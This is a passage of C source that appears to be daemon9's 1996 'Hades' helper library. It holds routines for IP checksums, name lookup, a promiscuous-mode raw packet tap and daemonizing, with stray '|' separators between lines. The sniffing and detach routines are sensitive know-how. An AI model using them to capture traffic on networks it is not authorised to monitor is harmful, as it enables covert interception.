c. daemon9, Guild Corporation 1996
|
|
|
|
Includes:
|
|
|
|
tap
|
|
in_cksum
|
|
nameResolve
|
|
hostLookup
|
|
shadow
|
|
reaper
|
|
|
|
This is beta. Expect it to expand greatly the next time around ...
|
|
Sources from all over the map.
|
|
|
|
code from:
|
|
route
|
|
halflife
|
|
*/
|
|
|
|
#include <string.h>
|
|
#include <signal.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include <syslog.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/time.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <netdb.h>
|
|
#include <arpa/inet.h>
|
|
#include <linux/socket.h>
|
|
#include <linux/ip.h>
|
|
#include <linux/tcp.h>
|
|
#include <linux/if_ether.h>
|
|
#include <linux/if.h>
|
|
|
|
#define DEVICE "eth0"
|
|
#define BUFSIZE 256
|
|
#define ETHHDR 14
|
|
#define TCPHDR 20
|
|
#define IPHDR 20
|
|
#define ICMPHDR 8
|
|
|
|
|
|
/*
|
|
* IP address into network byte order
|
|
*/
|
|
|
|
unsigned nameResolve(char *hostname){
|
|
|
|
struct in_addr addr;
|
|
struct hostent *hostEnt;
|
|
|
|
if((addr.s_addr=inet_addr(hostname))==-1){
|
|
if(!(hostEnt=gethostbyname(hostname))){
|
|
fprintf(stderr,"Name lookup failure: `%s`\n",hostname);
|
|
exit(0);
|
|
}
|
|
bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
|
|
}
|
|
return addr.s_addr;
|
|
}
|
|
|
|
/*
|
|
* IP Family checksum routine
|
|
*/
|
|
|
|
unsigned short in_cksum(unsigned short *ptr,int nbytes){
|
|
|
|
register long sum; /* assumes long == 32 bits */
|
|
u_short oddbyte;
|
|
register u_short answer; /* assumes u_short == 16 bits */
|
|
|
|
/*
|
|
* Our algorithm is simple, using a 32-bit accumulator (sum),
|
|
* we add sequential 16-bit words to it, and at the end, fold back
|
|
* all the carry bits from the top 16 bits into the lower 16 bits.
|
|
*/
|
|
|
|
sum = 0;
|
|
while (nbytes > 1) {
|
|
sum += *ptr++;
|
|
nbytes -= 2;
|
|
}
|
|
|
|
/* mop up an odd byte, if necessary */
|
|
if (nbytes == 1) {
|
|
oddbyte = 0; /* make sure top half is zero */
|
|
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
|
|
sum += oddbyte;
|
|
}
|
|
|
|
/*
|
|
* Add back carry outs from top 16 bits to low 16 bits.
|
|
*/
|
|
|
|
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
|
|
sum += (sum >> 16); /* add carry */
|
|
answer = ~sum; /* ones-complement, then truncate to 16 bits */
|
|
return(answer);
|
|
}
|
|
|
|
|
|
/*
|
|
* Creates a low level raw-packet socket and puts the device into promiscuous mode.
|
|
*/
|
|
|
|
int tap(device)
|
|
char *device;
|
|
{
|
|
|
|
int fd; /* File descriptor */
|
|
struct ifreq ifr; /* Link-layer interface request structure */
|
|
/* Ethernet code for IP 0x800==ETH_P_IP */
|
|
if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){ /* Linux's way of */
|
|
perror("SOCK_PACKET allocation problems"); /* getting link-layer */
|
|
exit(1); /* packets */
|
|
}
|
|
strcpy(ifr.ifr_name,device);
|
|
if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){ /* Get the device info */
|
|
perror("Can't get device flags");
|
|
close(fd);
|
|
exit(1);
|
|
}
|
|
ifr.ifr_flags|=IFF_PROMISC; /* Set promiscuous mode */
|
|
if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){ /* Set flags */
|
|
perror("Can't set promiscuous mode");
|
|
close(fd);
|
|
exit(1);
|
|
}
|
|
return(fd);
|
|
}
|
|
|
|
/*
|
|
* Network byte order into IP address
|
|
*/
|
|
|
|
char *hostLookup(in)
|
|
unsigned long in;
|
|
{
|
|
|
|
char hostname[BUFSIZE];
|
|
struct in_addr addr;
|
|
struct hostent *hostEnt;
|
|
|
|
bzero(&hostname,sizeof(hostname));
|
|
addr.s_addr=in;
|
|
hostEnt=gethostbyaddr((char *)&addr, sizeof(struct in_addr),AF_INET);
|
|
if(!hostEnt)strcpy(hostname,inet_ntoa(addr));
|
|
else strcpy(hostname,hostEnt->h_name);
|
|
return(strdup(hostname));
|
|
}
|
|
|
|
/*
|
|
* Simple daemonizing procedure.
|
|
*/
|
|
|
|
void shadow(void){
|
|
|
|
int fd,fs;
|
|
extern int errno;
|
|
char werd[]={"\n\n\n\nHades is a Guild Corporation Production. c.1996\n\n"};
|
|
|
|
signal(SIGTTOU,SIG_IGN); /* Ignore these signals */
|
|
signal(SIGTTIN,SIG_IGN);
|
|
signal(SIGTSTP,SIG_IGN);
|
|
printf(werd);
|
|
|
|
switch(fork()){
|
|
case 0: /* Child */
|
|
break;
|
|
default:
|
|
exit(0); /* Parent */
|
|
case -1:
|
|
fprintf(stderr,"Forking Error\n");
|
|
exit(1);
|
|
}
|
|
setpgrp();
|
|
if((fd=open("/dev/tty",O_RDWR))>=0){
|
|
ioctl(fd,TIOCNOTTY,(char *)NULL);
|
|
close(fd);
|
|
}
|
|
/*for(fd=0;fd<NOFILE;fd++)close(fd);*/
|
|
errno=0;
|
|
chdir("/");
|
|
umask(0);
|
|
}
|
|
|
|
/*
|
|
* Keeps processes from zombiing on us...
|
|
*/
|
|
|
|
static void reaper(signo)
|
|
int signo;
|
|
{
|
|
pid_t pid;
|
|
int sys;
|
|
|
|
pid=wait(&sys);
|
|
signal(SIGCHLD,reaper);
|
|
return;
|
|
}
|
|
|
|
|
|
-------------------------------8<-------cut-me-loose--------------------------
|
|
|
|
EOF
|
|
|